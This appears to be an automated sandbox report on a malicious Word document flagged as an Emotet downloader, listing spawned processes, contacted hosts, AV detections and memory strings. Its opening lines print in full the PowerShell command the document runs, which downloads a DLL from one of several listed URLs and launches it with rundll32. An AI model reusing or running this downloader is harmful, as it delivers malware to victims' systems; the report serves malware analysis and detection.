Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762			Jump to behavior

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet Downloader

Source: Yara match

File source: C:\Users\user\Documents\20211122\PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt, type: DROPPED

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
60.248.112.145	huskysb.com	Taiwan; Republic of China (ROC)		3462	HINETDataCommunicationBusinessGroupTW	true
148.72.96.3	primtalent.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	true

Contacted Domains

Name	IP	Active
primtalent.com	148.72.96.3	true
huskysb.com	60.248.112.145	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://primtalent.com/wp-admin/9yt1u/	true	Avira URL Cloud: safe	unknown
http://huskysb.com/cgi-sys/suspendedpage.cgi	false	Avira URL Cloud: safe	unknown

AV Detection:

Antivirus detection for URL or domain

Source: http://ckfoods.net/wp-admin/wPInm2rgMu/	Avira URL Cloud: Label: malware
Source: http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/	Avira URL Cloud: Label: malware
Source: http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: 704.doc

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\cmd.exe

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: primtalent.com

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.4:49754 -> 148.72.96.3:80

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.4:49754 -> 148.72.96.3:80

Source: winword.exe

Memory has grown: Private usage: 0MB later: 76MB

Networking:

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: HINETDataCommunicationBusinessGroupTW HINETDataCommunicationBusinessGroupTW
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /wp-admin/9yt1u/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: primtalent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wordpress/6f0qIQlWPaYDfa/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: huskysb.com

Source: global traffic

Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://ckfoods.net/wp-admin/wPInm2rgMu/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://huskysb.com/wordpress/6f0qIQlWPaYDfa/
Source: powershell.exe, 00000006.00000002.754451635.000000000531E000.00000004.00000001.sdmp	String found in binary or memory: http://huskysb.com4
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://primtalent.com
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://primtalent.com/wp-admin/9yt1u/
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/
Source: powershell.exe, 00000006.00000002.753910843.0000000005021000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt.6.dr	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/.Split/p
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/XnG/.Splitplits/
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/deXnG/.Split.Split
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/h
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/tp
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.aadrm.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.office.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.onedrive.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.entity.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cortana.ai/api
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://cr.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://directory.services.
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: powershell.exe, 00000006.00000003.729788789.00000000080F3000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: powershell.exe, 00000006.00000003.728233664.0000000005A8B000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.windows.net
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://graph.windows.net/
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
